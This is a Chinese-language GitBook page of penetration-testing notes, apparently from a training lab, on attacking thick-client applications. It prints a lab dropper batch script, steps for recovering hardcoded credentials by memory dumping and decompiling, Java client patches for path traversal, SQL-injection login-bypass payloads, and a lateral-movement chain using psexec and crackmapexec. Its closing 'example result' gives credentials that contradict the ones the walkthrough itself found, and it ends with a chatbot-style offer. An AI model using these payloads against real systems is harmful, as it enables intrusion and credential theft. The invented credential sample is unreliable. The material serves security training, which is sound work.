0xdfxyz
  • Penetration Testing Process
    • README.md
    • Whois
  • Nikto
  • Search Engine Discovery
  • FinalRecon
  • Nessus
  • 0_新手上路
    • 0_新手上路
  • 1_訊息收集
    • 服務枚舉
      • Page 6
      • Nmap
      • DNS
    • 應用枚舉
      • Page 6
    • A D枚舉
      • Page 6
    • web枚舉
      • Page 6
      • Web Fuzzing
      • Subdomain
  • 2_漏洞前準備
    • 反彈 Shell
    • 工具彙總
    • 字典生成
  • 3_漏洞利用
    • 應用漏洞利用
    • AD 攻擊
    • 二進位漏洞利用
    • Web漏洞利用
      • XSS
      • IDOR
      • Webshel​​l
      • File uploads
      • SSTI
      • LFI
      • SQL injection
      • XXE
      • HTTP Verb Tampering
      • Command Injection
    • 服務漏洞利用
      • CMS
        • Wordpress
        • Joolmla
        • Drupal
      • Servlet 容器/軟體開發
        • Jenkins
        • Tomcat
      • 基礎設施/網路監控工具
        • Splunk
        • PRTG Network Monitor
      • 客戶服務管理與配置管理
        • osTicket
        • Gitlab
      • 通用網關介面
        • 攻擊通用網關介面 (CGI) 應用程式 - Shellshock
      • 其他應用
        • ColdFusion
        • IIS Tilde
        • LDAP
      • 常見應用程式
        • Thick client(也稱為rich客戶端或fat客戶端
        • Web 批量分配漏洞 ( Ruby on Rails)
        • 攻擊連接到服務的應用程式(SSH)
  • 4_滲透
    • Linux 權限提升
    • Windows 權限提升
    • Windows + Linux 工具
  • 5_橫向移動
    • 工具
    • 跳板 Pivoting
    • AD 橫向移動
    • Linux 橫向移動
    • Windows 橫向移動
  • 6_NetExec
    • 常見模組
    • 命令執行
    • 漏洞掃描模組
    • 模組使用
    • 憑證轉儲
    • Kerberos 認證
    • LDAP RDP 枚舉
    • SMB 枚舉
由 GitBook 提供支持
在本页
  • 1️⃣ 發現點(偵察階段)
  • 2️⃣ 從Thick-Client 客戶端應用程式中檢索硬編碼憑證
  • 3️⃣ “對 C:\Apps\Restart-OracleService.exe 進行分析並識別隱藏在其原始程式碼中的憑證。使用使用者名稱:密碼格式提交答案。”
  • 4️⃣ fat-client 應用程式中 ServerStatus -> Ipconfig 標籤下 eth0 介面的 IP 位址是什麼?
  • 5️⃣ 連鎖漏洞路徑(Exploit Chain)
  • ✅ 範例結果展示(提取硬編碼憑證)
  • 🔎 高級玩法(進階連鎖漏洞)

这有帮助吗?

  1. 3_漏洞利用
  2. 服務漏洞利用
  3. 常見應用程式

Thick client(也稱為rich客戶端或fat客戶端

上一页常見應用程式下一页Web 批量分配漏洞 ( Ruby on Rails)

最后更新于2个月前

这有帮助吗?

1️⃣ 發現點(偵察階段)

  • 確認:

    • 應用程式架構(C/S 架構)

    • 使用語言(如 .NET / Java)

    • 框架版本、是否有弱點

    • 找到應用入口、輸入點(表單、上傳接口、RPC)

  • 常用工具:

    • ProcMon、Wireshark:觀察應用執行時的行為和網絡流量

    • dnSpy、ILSpy:.NET 反編譯

    • Ghidra / x64dbg:逆向分析

    • strings、binwalk:快速檢測檔案中敏感字串或嵌入內容


2️⃣ 從Thick-Client 客戶端應用程式中檢索硬編碼憑證

  • 以下場景引導我們枚舉並利用胖客戶端應用程序,以便在滲透測試期間在公司網路內部橫向移動。在我們獲得對公開的 SMB 服務的存取權限後,該場景開始。

1

內部橫向移動

公開的 SMB 服務的存取權限

探索 SMB 服務的NETLOGON共用會發現RestartOracle-Service.exe和其他檔案。將可執行檔下載到本機並透過命令列運行它,但它似乎沒有運行或運行了一些隱藏的東西。

C:\Apps>.\Restart-OracleService.exe
C:\Apps>

2

從下載工具ProcMon64並監控其流程

可執行檔確實在 C:\Users\Matt\AppData\Local\Temp 中建立了一個臨時檔案。

procmon

為了捕獲文件,需要更改Temp資料夾的權限以不允許刪除文件。為此,我們右鍵單擊資料夾 C:\Users\Matt\AppData\Local\Temp ,然後在Properties -> Security -> Advanced -> cybervaca -> Disable inheritance -> Convert inherited permissions into explicit permissions on this object -> Edit -> Show advanced permissions下,取消選擇Delete subfolders and files以及Delete複選框。

3

最後我們在開啟的視窗上點選OK > Apply > OK > OK 。一旦應用了資料夾權限,我們只需再次運行Restart-OracleService.exe並檢查temp資料夾。在 C:\Users\cybervaca\AppData\Local\Temp\2 下建立檔案6F39.bat 。每次服務運行時,產生的文件的名稱都是隨機的。

C:\Apps>dir C:\Users\cybervaca\AppData\Local\Temp\2

...SNIP...
04/03/2023  02:09 PM         1,730,212 6F39.bat
04/03/2023  02:09 PM                 0 6F39.tmp
@shift /0
@echo off

if %username% == matt goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error

:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe

Code: batch 代碼:批次處理

列出6F39批次檔的內容顯示以下內容

4

檢查文件內容後發現,批次檔刪除了兩個文件,在任何人能夠存取剩余文件之前它們就被刪除了。我們可以嘗試透過修改批次腳本並刪除來檢索這兩個檔案的內容。

@shift /0
@echo off

echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
5

雙擊執行批次腳本後,我們等待幾分鐘,在目錄c:\programdata\下發現oracle.txt文件,其中包含另一個充滿 base64 行的文件,以及包含以下內容的腳本monta.ps1 。列出檔案monta.ps1的內容會顯示以下程式碼。

C:\>  cat C:\programdata\monta.ps1

$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))

這個腳本只是讀取oracle.txt檔案的內容並將其解碼為restart-service.exe可執行檔。運行此腳本將為我們提供一個可以進一步分析的最終可執行檔。

Attacking Thick Client Applications 攻擊胖客戶端應用程式

C:\>  ls C:\programdata\

Mode                LastWriteTime         Length Name
<SNIP>
-a----        3/24/2023   1:01 PM            273 monta.ps1
-a----        3/24/2023   1:01 PM         601066 oracle.txt
-a----        3/24/2023   1:17 PM         432273 restart-service.exe

6

現在,當執行restart-service.exe時,我們會看到由HelpDesk在 2010 年創建的橫幅Restart Oracle 。

C:\>  .\restart-service.exe

    ____            __             __     ____                  __
   / __ \___  _____/ /_____ ______/ /_   / __ \_________ ______/ /__
  / /_/ / _ \/ ___/ __/ __ `/ ___/ __/  / / / / ___/ __ `/ ___/ / _ \
 / _, _/  __(__  ) /_/ /_/ / /  / /_   / /_/ / /  / /_/ / /__/ /  __/
/_/ |_|\___/____/\__/\__,_/_/   \__/   \____/_/   \__,_/\___/_/\___/

                                                by @HelpDesk 2010


PS C:\ProgramData>

透過ProcMon64檢查可執行檔的執行情況表明,它正在查詢註冊表中的多個內容,但沒有顯示任何可靠的內容。

7

讓我們啟動x64dbg ,導航到Options - > Preferences ,然後取消選中除Exit Breakpoint之外的所有選項:

8

透過取消選取其他選項,偵錯將直接從應用程式的退出點開始,我們將避免瀏覽應用程式啟動前載入的任何dll檔案。然後,我們可以選擇file -> open ,並選擇restart-service.exe進行導入並開始偵錯。導入後,我們在CPU視圖內單擊滑鼠右鍵,然後Follow in Memory Map :

檢查執行此階段的記憶體映射,特別感興趣的是大小為0000000000003000的映射,其類型為MAP且保護設定為-RW-- 。

9

記憶體映射文件允許應用程式存取大文件,而無需一次讀取或寫入整個文件到記憶體中。相反,該檔案被映射到記憶體的某個區域,應用程式可以像記憶體中的常規緩衝區一樣讀取和寫入該區域。這可能是尋找硬編碼憑證的地方。

如果我們雙擊它,我們將在ASCII列中看到神奇位元組MZ ,這表示該檔案是。

10

讓我們返回到「記憶體映射」窗格,然後透過右鍵單擊位址並選擇「將記憶體轉儲到檔案」將新發現的映射項目從記憶體匯出到Dump Memory to File 。在導出的文件上運行strings會揭示一些有趣的資訊。

C:\> C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin

<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
<SNIP>
11

讀取輸出顯示轉儲包含.NET可執行檔。我們可以使用De4Dot將 restart-service_00000000001E0000.bin 拖曳到de4dot執行檔上,將.NET執行檔反轉回原始程式碼。

de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin


Press any key to exit...
12

現在,我們可以透過將匯出的應用程式拖放到DnSpy可執行檔中來讀取其原始程式碼。


3️⃣ “對 C:\Apps\Restart-OracleService.exe 進行分析並識別隱藏在其原始程式碼中的憑證。使用使用者名稱:密碼格式提交答案。”

Example

代號:shell

xfreerdp /v:STMIP /u:cybervaca /p:'&aue%C)}6g-d{w' /dynamic-resolution /drive:share,/home/htb-ac-594497

攻擊胖客戶端應用程式

┌─[us-academy-2]─[10.10.15.12]─[htb-ac-594497@htb-geylz278ib]─[~]
└──╼ [★]$ xfreerdp /v:STMIP /u:cybervaca /p:'&aue%C)}6g-d{w' /dynamic-resolution /drive:share,/home/htb-ac-594497

[16:12:24:734] [14803:14807] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
<SNIP>

然後,學生需要導航到C:\TOOLS\ProcessMonitor並啟動Procmon64:

出現提示時單擊Agree,一旦Procmon64運行,學生需要使用檔案總管將Restart-OracleService腳本從sysvol共用複製到桌面:

然後,學生需要打開命令提示符,導航到桌面並運行Restart-OracleService.exe應用程式:

代碼:cmd

cd Desktop
.\Restart-OracleService.exe

攻擊胖客戶端應用程式

Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\cybervaca>cd Desktop

C:\Users\cybervaca\Desktop>.\Restart-OracleService.exe

檢查Procmon,學生需要過濾流程名稱,僅允許 Restart-OracleService.exe顯示流程:

學生會注意到可執行檔在以下位置建立一個臨時檔案C:\Users\cybervaca\AppData\Local\Temp:

學生需要刪除權限條目,僅保留cybervaca,停用資料夾的繼承並取消選取以下複選框Delete / Delete subfolders and files:

學生需要在SYSTEM和 上應用相同的權限條目Administrators,最終顯示所有三個均具有Special存取權限:

運行該Restart-OracleService.exe應用程序,學生將看到 Windows 批次檔的建立:

代碼:cmd

.\Restart-OracleService.exe

攻擊胖客戶端應用程式

c:\Users\cybervaca\Desktop>.\Restart-OracleService.exe

同學需要編輯 中的腳本Notepad,修改為不再刪除 monta.ps1和oracle.txt檔案:

儲存變更後,學生需要雙擊再次執行腳本。然後,他們需要確認monta.ps1和oracle.txt文件存在於C:\ProgramData:

之後,學生需要以管理員身分啟動 PowerShell 並執行monta.ps1:

代碼:powershell

cd C:\Programdata
cat .\monta.ps1
.\monta.ps1

攻擊胖客戶端應用程式

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> cd C:\Programdata

PS C:\Programdata> cat .\monta.ps1
$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))

PS C:\Programdata> .\monta.ps1

restart-service.exe這將在 內部建立一個新的可執行文件,C:\ProgramData學生需要將其複製到桌面:

隨後,學生需要x64dbg以管理員身份開啟並選擇File-->Open並選擇restart-service.exe文件:

也必須將首選項設為中斷Exit Breakpoint:

運行程序,學生需要檢查記憶體映射,尋找MAP具有Read/Write保護的類型:

學生需要在 Dump 中按一下右鍵並進行關注。在那裡,他們應該注意到運行可執行檔時看到的 ASCII 標頭:

驗證地址正確後,學生需要Dump Memory to File將記憶體轉儲保存到桌面。然後,學生需要將記憶體轉儲拖放de4dot.exe到C:\TOOLS\de4dot\:

隨後,學生需要將清理好的拖放。bin文件dnSpy,找到憑證svc_oracle:#oracle_s3rV1c3!2010:

答:{隱藏}


4️⃣ fat-client 應用程式中 ServerStatus -> Ipconfig 標籤下 eth0 介面的 IP 位址是什麼?

cybervaca:&aue%C)}6g-d{w產生目標機器後,學生需要先使用 RDP 使用憑證連接到目標:

代號:shell

xfreerdp /v:STMIP /u:cybervaca /p:'&aue%C)}6g-d{w' /dynamic-resolution

利用胖客戶端應用程式中的 Web 漏洞

┌─[eu-academy-1]─[10.10.14.228]─[htb-ac-594497@htb-ykablsqh4y]─[~]
└──╼ [★]$ xfreerdp /v:10.129.153.234 /u:cybervaca /p:'&aue%C)}6g-d{w' /dynamic-resolution

[22:30:02:859] [8648:8649] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[22:30:02:859] [8648:8649] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[22:30:02:859] [8648:8649] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd

隨後,學生需要打開文件資源管理器,導航到C:\Apps並右鍵單擊fatty-client以提取文件:

將厚客戶端的內容解壓縮到一個資料夾後,學生需要進入新建立的目錄並編輯beans.xml文檔,將連接埠替換8000為1337:

此外,學生需要從中刪除哈希值META-INF/MANIFEST.MF,確保檔案以新行結尾:

此外,學生必須刪除1.RSA和1.SF文件:

儲存變更後,學生需要開啟 PowerShell 並更新fatty-client.jar,將其儲存為fatty-client-new.jar:

代碼:powershell

cd C:\Apps\fatty-client\
jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *

利用胖客戶端應用程式中的 Web 漏洞

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\cybervaca> cd C:\Apps\fatty-client\
PS C:\Apps\fatty-client> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
PS C:\Apps\fatty-client>

同學們需要將新的 jar 檔案拖曳到 中jd-gui,然後選擇File--> Save All Sources:

隨後,學生需要將fatty-client-new.jar.src.zip檔案解壓縮到桌面並編輯fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java文件,將configs資料夾名稱替換為..:

儲存變更後,學生需要開啟 PowerShell 並編譯ClientGuiTest.Java檔案:

代碼:powershell

cd C:\Users\cybervaca\Desktop\
javac -cp fatty-client-new.jar fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java
mkdir raw
cp fatty-client-new.jar raw/fatty-client-new-2.jar

利用胖客戶端應用程式中的 Web 漏洞

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> cd C:\Users\cybervaca\Desktop\
PS C:\Users\cybervaca\Desktop> javac -cp fatty-client-new.jar fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java
PS C:\Users\cybervaca\Desktop> mkdir raw


    Directory: C:\Users\cybervaca\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         4/1/2023   1:28 AM                raw


PS C:\Users\cybervaca\Desktop> cp fatty-client-new.jar raw/fatty-client-new-2.jar

然後,學生需要fatty-client-new-2.jar透過右鍵單擊並選擇來解壓縮Extract Here:

之後,學生需要htb/fatty/client/gui/*.class用更新的課程文件涵蓋所有現有文件:

代碼:powershell

mv -Force fatty-client-new.jar.src/htb/fatty/client/gui/*.class raw/htb/fatty/client/gui/

利用胖客戶端應用程式中的 Web 漏洞

PS C:\Users\cybervaca\Desktop> mv -Force fatty-client-new.jar.src/htb/fatty/client/gui/*.class raw/htb/fatty/client/gui/

現在,學生可以建立新的 JAR 檔案:

代碼:powershell

cd raw
jar -cmf META-INF/MANIFEST.MF traverse.jar .

利用胖客戶端應用程式中的 Web 漏洞

PS C:\Users\cybervaca\Desktop> cd raw
PS C:\Users\cybervaca\Desktop\raw> jar -cmf META-INF/MANIFEST.MF traverse.jar .

完成後,學生需要啟動traverse.jar並驗證身份qtc:clarabibi。然後,他們需要前往FileBrowser--> Configs,查看 start.sh 腳本:

該實用程式允許胖客戶端查看/檢索遠端伺服器上託管的文件,並揭示應用程式伺服器的存在fatty-server.jar。

現在,學生需要修改open中的函數fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java以便能夠下載檔案fatty-server.jar:

程式碼:java

import java.io.FileOutputStream;

程式碼:java

public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    }
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument(foldername);
    this.action.addArgument(filename);
    sendAndRecv();
    String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
    FileOutputStream fos = new FileOutputStream(desktopPath);
    
    if (this.response.hasError()) {
        return "Error: Your action caused an error on the application server!";
    }
    
    byte[] content = this.response.getContent();
    fos.write(content);
    fos.close();
    
    return "Successfully saved the file to " + desktopPath;
}

儲存變更後,學生需要再次重建 jar:

代碼:powershell

javac -cp fatty-client-new.jar .\fatty-client-new.jar.src\htb\fatty\client\methods\Invoker.java
mv -Force .\fatty-client-new.jar.src\htb\fatty\client\methods\*.class .\raw\htb\fatty\client\methods\
cd raw
jar -cmf META-INF/MANIFEST.MF fatty-client-modified.jar .

利用胖客戶端應用程式中的 Web 漏洞

PS C:\Users\cybervaca\Desktop> javac -cp fatty-client-new.jar .\fatty-client-new.jar.src\htb\fatty\client\methods\Invoker.java
PS C:\Users\cybervaca\Desktop> mv -Force .\fatty-client-new.jar.src\htb\fatty\client\methods\*.class .\raw\htb\fatty\client\methods\
PS C:\Users\cybervaca\Desktop> cd raw
PS C:\Users\cybervaca\Desktop\raw> jar -cmf META-INF/MANIFEST.MF fatty-client-modified.jar .

啟動新編譯的jar,學生需要登入下載fatty-server.jar:

學生需要將 拖曳fatty-server.jar到 上jd-gui,然後點選File--> Save All Sources:

使用 JD-GUI反編譯會 顯示 包含 處理登入功能的函數的fatty-server.jar 檔案 。此函數根據提供的使用者名稱檢索使用者詳細資訊。然後,它將檢索到的密碼與提供的密碼進行比較:htb/fatty/server/database/FattyDbSession.classcheckLogin()

程式碼:java

public User checkLogin(User user) throws LoginException {
    <SNIP>
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
      <SNIP>
        if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
          return newUser; 
        throw new LoginException("Wrong Password!");
      <SNIP>
           this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
      return null;

登入按鈕 ClientGuiTest.this.user 為該類別 建立新的物件User 。然後它 使用相應的用戶名和密碼值來呼叫 setUsername() 和 函數。setPassword()然後將這些函數傳回的值傳送到伺服器:

當從中檢查setUsername() 和 setPassword() 函數 時htb/fatty/client/shared/resources/user.java,學生將知道用戶名未經任何修改就被接受,但密碼被更改為sha256用戶名值、密碼值和字串「clarabibimakeseverythingsecure」的雜湊摘要:

程式碼:java

public void setUsername(String username) {
    this.username = username;
  }
  
  public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }

學生會注意到使用者名稱沒有被清理並直接用於 SQL 查詢,這使得它容易受到 SQL 注入的攻擊。學生需要利用現場注入 username 來創建虛假的使用者條目:

程式碼:java

test' UNION SELECT 1,'invaliduser','invalid@a.b','invalidpass','admin

事先,學生需要編輯程式碼htb/fatty/shared/resources/User.java以從客戶端應用程式提交密碼:

程式碼:java

public void setPassword(String password) {
    this.password = password;
}

程式碼:java

public User(int uid, String username, String password, String email, Role role) {
    this.uid = uid;
    this.username = username;
    this.password = password;
    this.email = email;
    this.role = role;
}

同學需要重新編譯java類別文件,然後建立一個新的JAR:

代碼:powershell

javac -cp .\fatty-client-new.jar .\fatty-client-new.jar.src\htb\fatty\shared\resources\User.java
mv -Force .\fatty-client-new.jar.src\htb\fatty\shared\resources\*.class .\raw\htb\fatty\shared\resources\
cd .\raw\
jar -cmf .\META-INF\MANIFEST.MF inject.jar .

利用胖客戶端應用程式中的 Web 漏洞

PS C:\Users\cybervaca\Desktop> javac -cp .\fatty-client-new.jar .\fatty-client-new.jar.src\htb\fatty\shared\resources\User.java
PS C:\Users\cybervaca\Desktop> mv -Force .\fatty-client-new.jar.src\htb\fatty\shared\resources\*.class .\raw\htb\fatty\shared\resources\
PS C:\Users\cybervaca\Desktop> cd .\raw\
PS C:\Users\cybervaca\Desktop\raw> jar -cmf .\META-INF\MANIFEST.MF inject.jar .

最後,學生需要執行新編譯的inject.jar並使用 SQL 注入負載(用作abc密碼)繞過登入:

程式碼:sql

abc' UNION SELECT 1,'abc','a@b.com','abc','admin

成功繞過特權使用者登入後,學生最終需要檢查eth0介面的 IP 位址,發現它是172.28.0.3:

答:{隱藏}


5️⃣ 連鎖漏洞路徑(Exploit Chain)

步驟
動作
工具

SMB 訪問

從可存取的共享目錄下載執行檔

smbclient / net use

ProcMon 偵察

觀察 EXE 行為,發現有臨時檔案、隱藏 PowerShell 腳本

ProcMon64

修改 Temp 權限

阻止自動刪除,保留生成的 .bat、.ps1、.txt 文件

手動調整 NTFS 權限

Base64 解碼

從 oracle.txt 抽出 payload,還原成 restart-service.exe

certutil -decode 或 Python 腳本

Memory Dump

透過 x64dbg Memory Map 区域 Dump

x64dbg + strings

反混淆

使用 de4dot 還原 .NET 可執行檔

de4dot

反編譯

在 dnSpy 中獲得原始碼,找到硬編碼帳戶 / 密碼

dnSpy

服務重啟 & 本地權限升級

找到 runas 腳本可利用漏洞,自行透過 PowerShell 利用帳密重啟服務提權

PowerShell

內網橫向移動

利用硬編碼憑證登入其他 SMB / SQL Server,執行 lateral movement

psexec / crackmapexec / smbexec


✅ 範例結果展示(提取硬編碼憑證)

plaintext複製username: matt
password: OracleRestart@2010
  • 發現後,可用此憑證登入其他 SMB、SQL、或者 Windows AD

  • 如目標機存在弱 SMB/WinRM,直接用 psexec.py 或 smbexec.py 嘗試橫向滲透


🔎 高級玩法(進階連鎖漏洞)

  • 1️⃣ 從服務中提取帳號

  • 2️⃣ 利用帳號在內網中橫向登入(WinRM / RDP)

  • 3️⃣ 尋找敏感檔案(如 DB 備份 / 密碼清單)

  • 4️⃣ 攻擊 SQL Server,取得進一步 RCE

  • 5️⃣ 使用該主機作為 Pivot,內網掃描 → 嘗試攻擊域控


✅ 如果你需要,我可以幫你製作一份:

  • 【胖客戶端滲透測試 Cheat Sheet】PDF

  • 附帶 Payload 清單 + 工具組合推薦 + 常見漏洞檢查路線

攻擊_常見應用程式_演示圖像_79.png
攻擊_常見應用程式_演示圖像_80.png
攻擊_常見應用程式_演示圖像_81.png
攻擊_常見應用程式_演示圖像_82.png
攻擊_常見應用程式_演示圖像_83.png
攻擊_常見應用程式_演示圖像_84.png
攻擊_常見應用程式_演示圖像_85.png
攻擊_常見應用程式_演示圖像_86.png
攻擊_常見應用程式_演示圖像_87.png
攻擊_常見應用程式_演示圖像_88.png
攻擊_常見應用程式_演示圖像_89.png
攻擊_常見應用程式_演示圖像_90.png
攻擊_常見應用程式_演示圖像_91.png
攻擊_常見應用程式_演示圖像_92.png
攻擊_常見應用程式_演示圖像_93.png
攻擊_常見應用程式_演示圖像_94.png
攻擊_常見應用程式_演示圖像_95.png
攻擊_常見應用程式_演示圖像_96.png
攻擊_常見應用程式_演示圖像_97.png
SysInternals
DOS MZ 執行檔
攻擊_常見應用程式_演示圖像_63.png
攻擊_常見應用程式_演示圖像_61.png
攻擊_常見應用程式_演示圖像_62.png
攻擊_常見應用程式_演示圖像_65.png
攻擊_常見應用程式_演示圖片_66.png
攻擊_常見應用程式_演示圖像_64.png
攻擊_常見應用程式_演示圖_70.png
攻擊_常見應用程式_演示圖像_68.png
攻擊_常見應用程式_演示圖像_67.png
攻擊_常見應用程式_演示圖像_69.png
攻擊_常見應用程式_演練圖片_72.png
攻擊_常見應用程式_演練圖片_71.png
攻擊_常見應用程式_演練圖片_73.png
攻擊_常見應用程式_演示圖像_74.png
攻擊_常見應用程式_演示圖像_76.png
攻擊_常見應用程式_演示圖像_75.png
攻擊_常見應用程式_演示圖像_78.png
攻擊_常見應用程式_演示圖像_77.png